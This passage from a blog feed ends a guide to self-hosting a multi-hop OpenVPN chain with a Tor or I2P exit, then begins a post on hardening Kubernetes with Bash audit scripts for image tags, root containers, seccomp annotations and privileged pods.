</span></span><span style="display:flex;"><span><span style="color:#75715e"># Redirect DNS queries to Tor&#39;s DNS listener</span>
</span></span><span style="display:flex;"><span>sudo iptables -t nat -A PREROUTING -i tun+ -p udp --dport <span style="color:#ae81ff">53</span> -j REDIRECT --to-ports <span style="color:#ae81ff">53</span>
</span></span></code></pre></div><h4 id="step-6--start-all-services">Step 6 — Start All Services</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl start  openvpn-server@serverC <span style="color:#f92672">&amp;&amp;</span> sudo systemctl enable openvpn-server@serverC
</span></span><span style="display:flex;"><span>sudo systemctl start  openvpn-client@clientB <span style="color:#f92672">&amp;&amp;</span> sudo systemctl enable openvpn-client@clientB
</span></span><span style="display:flex;"><span>sudo systemctl start  tor                    <span style="color:#f92672">&amp;&amp;</span> sudo systemctl enable tor
</span></span></code></pre></div><hr>
<h3 id="server-c-variant-i2p-instead-of-tor">Server C Variant: I2P Instead of Tor</h3>
<h4 id="install-and-start-i2p">Install and Start I2P</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install i2p
</span></span><span style="display:flex;"><span>sudo systemctl start  i2p
</span></span><span style="display:flex;"><span>sudo systemctl enable i2p
</span></span></code></pre></div><h4 id="iptables-rules-for-i2p">iptables Rules for I2P</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Flush existing NAT rules</span>
</span></span><span style="display:flex;"><span>sudo iptables -t nat -F
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Accept I2P HTTP and HTTPS proxy traffic</span>
</span></span><span style="display:flex;"><span>sudo iptables -A INPUT -i tun+ -p tcp --dport <span style="color:#ae81ff">4444</span> -j ACCEPT
</span></span><span style="display:flex;"><span>sudo iptables -A INPUT -i tun+ -p tcp --dport <span style="color:#ae81ff">4445</span> -j ACCEPT
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Redirect HTTP  → I2P HTTP proxy (port 4444)</span>
</span></span><span style="display:flex;"><span>sudo iptables -t nat -A PREROUTING -i tun+ -p tcp --dport <span style="color:#ae81ff">80</span>  -j REDIRECT --to-ports <span style="color:#ae81ff">4444</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Redirect HTTPS → I2P HTTPS proxy (port 4445)</span>
</span></span><span style="display:flex;"><span>sudo iptables -t nat -A PREROUTING -i tun+ -p tcp --dport <span style="color:#ae81ff">443</span> -j REDIRECT --to-ports <span style="color:#ae81ff">4445</span>
</span></span></code></pre></div><h4 id="append-to-servercconf-for-i2p">Append to <code>serverC.conf</code> for I2P</h4>
<pre tabindex="0"><code># I2P HTTP proxy settings
http-proxy 127.0.0.1 4444
http-proxy-option CUSTOM-HEADER &#34;X-Forwarded-For: 0.0.0.0&#34;

# Optional: specify a custom I2P outproxy for clearnet access
# http-proxy &lt;outproxy_address&gt; &lt;outproxy_port&gt;
</code></pre><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl restart openvpn-server@serverC
</span></span></code></pre></div><hr>
<h3 id="client-configuration">Client Configuration</h3>
<h4 id="required-files-transfer-securely-from-server-a">Required Files (transfer securely from Server A)</h4>
<table>
<thead>
<tr>
<th>File</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ca.crt</code></td>
<td>Certificate Authority certificate</td>
</tr>
<tr>
<td><code>client.crt</code></td>
<td>Client certificate</td>
</tr>
<tr>
<td><code>client.key</code></td>
<td>Client private key</td>
</tr>
<tr>
<td><code>ta.key</code></td>
<td>TLS authentication key</td>
</tr>
</tbody>
</table>
<h4 id="clientconf"><code>client.conf</code></h4>
<pre tabindex="0"><code>client
dev tun
proto udp
remote YOUR_SERVER_A_PUBLIC_IP 1194

resolv-retry infinite
nobind
persist-key
persist-tun

ca   ca.crt
cert client.crt
key  client.key

remote-cert-tls server
tls-auth ta.key 1
cipher AES-256-CBC
verb 3
</code></pre><h4 id="verify-the-routing-chain">Verify the Routing Chain</h4>
<p>After connecting, run a traceroute to confirm traffic is flowing through all three hops before exiting to the internet (or Tor):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>traceroute google.com
</span></span></code></pre></div><p>You should see three private/VPN IP addresses in the output before public internet hops appear.</p>
<hr>
<h2 id="conclusion">Conclusion</h2>
<p>Multi-hop VPNs are not inherently fraudulent — they are real network architectures. However, as sold by most commercial vendors, they are aggressively over-marketed products that deliver disproportionately little benefit for their cost.</p>
<p><strong>Key takeaways:</strong></p>
<ul>
<li><strong>Extra hops ≠ proportionally more security.</strong> AES-256 is already unbreakable; stacking it adds complexity, not protection.</li>
<li><strong>Single-provider bundles undermine the whole point.</strong> Multi-hop only means something if the hops are independently controlled by different organizations.</li>
<li><strong>VPN + Tor is rarely better than Tor alone</strong> for anonymity, and introduces new risks if misconfigured.</li>
<li><strong>Define your threat model first.</strong> Know what you&rsquo;re protecting against before architecting a solution.</li>
<li><strong>You can build this yourself</strong> on inexpensive VPS instances — no premium vendor required.</li>
</ul>
<blockquote>
<p>If you genuinely need strong anonymity, use the <strong>Tor Browser</strong> directly. If you need privacy from your ISP, a single reputable no-logs VPN is sufficient. The space between these two use cases rarely justifies a commercial XhopVPN product.</p>
</blockquote>
<pre><code>  Photo by [Tony Wan](https://unsplash.com/@tony_wanli) on Unsplash.</code></pre>
]]></content>
        </item>
        
        <item>
            <title>Kubernetes-Native Container Security with Shell Scripting</title>
            <link>https://amini.eu/posts/2024/01/kubernetes-native-container-security-with-shell-scripting/</link>
            <pubDate>Mon, 15 Jan 2024 00:00:00 +0000</pubDate>
            
            <guid>https://amini.eu/posts/2024/01/kubernetes-native-container-security-with-shell-scripting/</guid>
            <description>As organizations accelerate their adoption of cloud-native infrastructure, Kubernetes has become the de facto standard for container orchestration. But with that ubiquity comes a critical responsibility: securing workloads running at scale. While Kubernetes ships with a strong set of built-in security primitives, the real-world security posture of a cluster often depends on how well those primitives are applied — and automated.
Shell scripting is one of the most practical tools in a platform engineer&amp;rsquo;s security toolkit.</description>
            <content type="html"><![CDATA[<p>As organizations accelerate their adoption of cloud-native infrastructure, Kubernetes has become the de facto standard for container orchestration. But with that ubiquity comes a critical responsibility: securing workloads running at scale. While Kubernetes ships with a strong set of built-in security primitives, the real-world security posture of a cluster often depends on how well those primitives are applied — and automated.</p>
<p>Shell scripting is one of the most practical tools in a platform engineer&rsquo;s security toolkit. In this post, we&rsquo;ll walk through how to use <strong>Bash</strong> (and compare it with <strong>PowerShell</strong>) to enforce container security policies, automate compliance checks, and harden your Kubernetes environment.</p>
<p><img src="https://res.cloudinary.com/amini/image/upload/v1681150232/brandon-jaramillo-NzMzETo-XJE-unsplash_rajgtr.jpg" alt="Native"></p>
<h2 id="why-shell-scripting-for-kubernetes-security">Why Shell Scripting for Kubernetes Security?</h2>
<p>Kubernetes provides several native security mechanisms out of the box:</p>
<ul>
<li><strong>Network Policies</strong> – Restrict pod-to-pod and pod-to-external traffic</li>
<li><strong>Pod Security Admission (PSA)</strong> – Enforce security standards at the namespace level</li>
<li><strong>RBAC</strong> – Control who can do what within the cluster</li>
<li><strong>Secrets Management</strong> – Store and inject sensitive data securely</li>
</ul>
<p>However, these tools are building blocks — not a complete security solution. Organizations often need <strong>custom enforcement logic</strong> that reflects their specific threat models, compliance requirements (PCI-DSS, SOC 2, HIPAA), or internal platform standards.</p>
<p>Shell scripting bridges that gap by allowing you to:</p>
<ul>
<li><strong>Automate repetitive security audits</strong> across namespaces and clusters</li>
<li><strong>Enforce policies declaratively</strong> without deploying additional tooling</li>
<li><strong>Reduce human error</strong> through consistent, testable scripts</li>
<li><strong>Integrate with CI/CD pipelines</strong> to catch misconfigurations before they reach production</li>
</ul>
<hr>
<h2 id="prerequisites">Prerequisites</h2>
<p>Before diving in, make sure you have the following:</p>
<ul>
<li>A working Kubernetes cluster (local via <code>minikube</code>/<code>kind</code> or remote)</li>
<li><code>kubectl</code> installed and configured with appropriate permissions</li>
<li>Basic familiarity with Bash scripting</li>
<li><code>jq</code> installed for JSON parsing (<code>apt install jq</code> or <code>brew install jq</code>)</li>
<li>(Optional) PowerShell 7+ for cross-platform PowerShell scripts</li>
</ul>
<hr>
<h2 id="bash-scripts-for-kubernetes-security">Bash Scripts for Kubernetes Security</h2>
<h3 id="1-enforce-the-latest-container-image-version">1. Enforce the Latest Container Image Version</h3>
<p>Running outdated container images is one of the most common sources of known vulnerabilities. The script below checks all pods in a given namespace and updates any container that isn&rsquo;t using the latest tagged version from Docker Hub.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e"># enforce-latest-image.sh</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ensures all pods in a namespace use the latest tag of a specified image.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>set -euo pipefail
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NAMESPACE<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>1<span style="color:#66d9ef">:-</span>default<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>IMAGE<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>2<span style="color:#66d9ef">:-</span>nginx<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;[*] Fetching latest tag for image: </span>$IMAGE<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>LATEST_TAG<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>curl -s <span style="color:#e6db74">&#34;https://registry.hub.docker.com/v1/repositories/</span><span style="color:#e6db74">${</span>IMAGE<span style="color:#e6db74">}</span><span style="color:#e6db74">/tags&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  | jq -r <span style="color:#e6db74">&#39;first(.[].name)&#39;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> -z <span style="color:#e6db74">&#34;</span>$LATEST_TAG<span style="color:#e6db74">&#34;</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>  echo <span style="color:#e6db74">&#34;[!] Could not retrieve latest tag for </span>$IMAGE<span style="color:#e6db74">. Exiting.&#34;</span>
</span></span><span style="display:flex;"><span>  exit <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;[*] Latest tag: </span>$LATEST_TAG<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> POD in <span style="color:#66d9ef">$(</span>kubectl get pods -n <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -o jsonpath<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;{range .items[*]}{.metadata.name}{&#34;\n&#34;}{end}&#39;</span><span style="color:#66d9ef">)</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  CONTAINER_IMAGE<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>kubectl get pod <span style="color:#e6db74">&#34;</span>$POD<span style="color:#e6db74">&#34;</span> -n <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    -o jsonpath<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;{.spec.containers[?(@.name==&#39;</span><span style="color:#e6db74">${</span>IMAGE<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;)].image}&#34;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> <span style="color:#e6db74">&#34;</span>$CONTAINER_IMAGE<span style="color:#e6db74">&#34;</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>IMAGE<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>LATEST_TAG<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>    echo <span style="color:#e6db74">&#34;[~] Updating </span>$POD<span style="color:#e6db74">: </span>$CONTAINER_IMAGE<span style="color:#e6db74"> -&gt; </span><span style="color:#e6db74">${</span>IMAGE<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>LATEST_TAG<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    kubectl set image <span style="color:#e6db74">&#34;pod/</span>$POD<span style="color:#e6db74">&#34;</span> <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>IMAGE<span style="color:#e6db74">}</span><span style="color:#e6db74">=</span><span style="color:#e6db74">${</span>IMAGE<span style="color:#e6db74">}</span><span style="color:#e6db74">:</span><span style="color:#e6db74">${</span>LATEST_TAG<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span> -n <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>    echo <span style="color:#e6db74">&#34;[✓] </span>$POD<span style="color:#e6db74"> is already up to date&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div><blockquote>
<p><strong>Note:</strong> In production, prefer using an <strong>image digest</strong> (e.g., <code>nginx@sha256:abc123...</code>) instead of a mutable tag like <code>latest</code>. Tags can be overwritten; digests are immutable.</p>
</blockquote>
<hr>
<h3 id="2-detect-containers-running-as-root">2. Detect Containers Running as Root</h3>
<p>Containers running as the root user (<code>UID 0</code>) represent a significant security risk. If an attacker escapes the container, they may inherit root privileges on the host node. The following script audits all running pods and flags any container that lacks a <code>runAsNonRoot: true</code> policy.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e"># detect-root-containers.sh</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Flags containers that may be running as root.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>set -euo pipefail
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NAMESPACE<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>1<span style="color:#66d9ef">:-</span>default<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>FOUND<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;[*] Scanning namespace: </span>$NAMESPACE<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> POD in <span style="color:#66d9ef">$(</span>kubectl get pods -n <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -o jsonpath<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;{range .items[*]}{.metadata.name}{&#34;\n&#34;}{end}&#39;</span><span style="color:#66d9ef">)</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  CONTAINERS<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>kubectl get pod <span style="color:#e6db74">&#34;</span>$POD<span style="color:#e6db74">&#34;</span> -n <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    -o jsonpath<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;{range .spec.containers[*]}{.name}{&#34;\n&#34;}{end}&#39;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> CONTAINER in $CONTAINERS; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>    RUN_AS_NON_ROOT<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>kubectl get pod <span style="color:#e6db74">&#34;</span>$POD<span style="color:#e6db74">&#34;</span> -n <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>      -o jsonpath<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;{.spec.containers[?(@.name==&#39;</span><span style="color:#e6db74">${</span>CONTAINER<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;)].securityContext.runAsNonRoot}&#34;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>    RUN_AS_USER<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>kubectl get pod <span style="color:#e6db74">&#34;</span>$POD<span style="color:#e6db74">&#34;</span> -n <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>      -o jsonpath<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;{.spec.containers[?(@.name==&#39;</span><span style="color:#e6db74">${</span>CONTAINER<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;)].securityContext.runAsUser}&#34;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> <span style="color:#e6db74">&#34;</span>$RUN_AS_NON_ROOT<span style="color:#e6db74">&#34;</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;true&#34;</span> <span style="color:#f92672">]]</span> <span style="color:#f92672">||</span> <span style="color:#f92672">[[</span> <span style="color:#e6db74">&#34;</span>$RUN_AS_USER<span style="color:#e6db74">&#34;</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;0&#34;</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>      echo <span style="color:#e6db74">&#34;[!] ALERT: Container &#39;</span>$CONTAINER<span style="color:#e6db74">&#39; in pod &#39;</span>$POD<span style="color:#e6db74">&#39; may be running as root&#34;</span>
</span></span><span style="display:flex;"><span>      FOUND<span style="color:#f92672">=</span><span style="color:#66d9ef">$((</span>FOUND <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span><span style="color:#66d9ef">))</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;[*] Scan complete. </span>$FOUND<span style="color:#e6db74"> potential root container(s) found.&#34;</span>
</span></span></code></pre></div><p>To remediate flagged containers, add a <code>securityContext</code> block to your pod spec:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">securityContext</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">runAsNonRoot</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">runAsUser</span>: <span style="color:#ae81ff">1000</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">allowPrivilegeEscalation</span>: <span style="color:#66d9ef">false</span>
</span></span></code></pre></div><hr>
<h3 id="3-enforce-pod-security-annotations">3. Enforce Pod Security Annotations</h3>
<p>While <strong>Pod Security Admission (PSA)</strong> is the modern approach, many clusters still rely on annotations for compatibility with older tooling. This script ensures all pods in a namespace carry the required seccomp profile annotation.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e"># enforce-pod-security-policy.sh</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Annotates pods missing a required seccomp security policy.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>set -euo pipefail
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NAMESPACE<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>1<span style="color:#66d9ef">:-</span>default<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>POLICY<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>2<span style="color:#66d9ef">:-</span>runtime/default<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>ANNOTATION_KEY<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;seccomp.security.alpha.kubernetes.io/pod&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;[*] Enforcing seccomp policy &#39;</span>$POLICY<span style="color:#e6db74">&#39; in namespace &#39;</span>$NAMESPACE<span style="color:#e6db74">&#39;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> POD in <span style="color:#66d9ef">$(</span>kubectl get pods -n <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  -o jsonpath<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;{range .items[*]}{.metadata.name}{&#34;\n&#34;}{end}&#39;</span><span style="color:#66d9ef">)</span>; <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  CURRENT_POLICY<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>kubectl get pod <span style="color:#e6db74">&#34;</span>$POD<span style="color:#e6db74">&#34;</span> -n <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    -o jsonpath<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;{.metadata.annotations[&#39;</span><span style="color:#e6db74">${</span>ANNOTATION_KEY<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;]}&#34;</span> 2&gt;/dev/null <span style="color:#f92672">||</span> echo <span style="color:#e6db74">&#34;&#34;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#f92672">[[</span> <span style="color:#e6db74">&#34;</span>$CURRENT_POLICY<span style="color:#e6db74">&#34;</span> !<span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;</span>$POLICY<span style="color:#e6db74">&#34;</span> <span style="color:#f92672">]]</span>; <span style="color:#66d9ef">then</span>
</span></span><span style="display:flex;"><span>    echo <span style="color:#e6db74">&#34;[~] Annotating pod &#39;</span>$POD<span style="color:#e6db74">&#39;: </span>$ANNOTATION_KEY<span style="color:#e6db74">=</span>$POLICY<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    kubectl annotate pod <span style="color:#e6db74">&#34;</span>$POD<span style="color:#e6db74">&#34;</span> -n <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>      <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>ANNOTATION_KEY<span style="color:#e6db74">}</span><span style="color:#e6db74">=</span><span style="color:#e6db74">${</span>POLICY<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span> --overwrite
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>    echo <span style="color:#e6db74">&#34;[✓] Pod &#39;</span>$POD<span style="color:#e6db74">&#39; already has correct policy&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">fi</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">done</span>
</span></span></code></pre></div><blockquote>
<p><strong>Heads up:</strong> The <code>seccomp.security.alpha.kubernetes.io</code> annotation is deprecated in Kubernetes v1.27+. For modern clusters, use the <code>securityContext.seccompProfile</code> field in your pod spec instead.</p>
</blockquote>
<hr>
<h3 id="4-audit-pods-with-privileged-containers">4. Audit Pods with Privileged Containers</h3>
<p>Privileged containers can access all devices on the host and bypass most security mechanisms. This script lists any pod running a privileged container.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e"># audit-privileged-containers.sh</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Lists any containers running in privileged mode.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>set -euo pipefail
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NAMESPACE<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>1<span style="color:#66d9ef">:-</span>--all-namespaces<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>NS_FLAG<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;-n </span>$NAMESPACE<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[[</span> <span style="color:#e6db74">&#34;</span>$NAMESPACE<span style="color:#e6db74">&#34;</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;--all-namespaces&#34;</span> <span style="color:#f92672">]]</span> <span style="color:#f92672">&amp;&amp;</span> NS_FLAG<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;--all-namespaces&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;[*] Auditing privileged containers (</span>$NAMESPACE<span style="color:#e6db74">)...&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>kubectl get pods $NS_FLAG -o json | jq -r <span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  .items[] |
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  .metadata.namespace as $ns |
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  .metadata.name as $pod |
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  .spec.containers[] |
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  select(.securityContext.privileged == true) |
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  &#34;[!] PRIVILEGED: \($ns)/\($pod) -&gt; container: \(.name)&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&#39;</span>
</span></span></code></pre></div><hr>
<h2 id="comparing-bash-and-powershell-for-kubernetes-security">Comparing Bash and PowerShell for Kubernetes Security</h2>
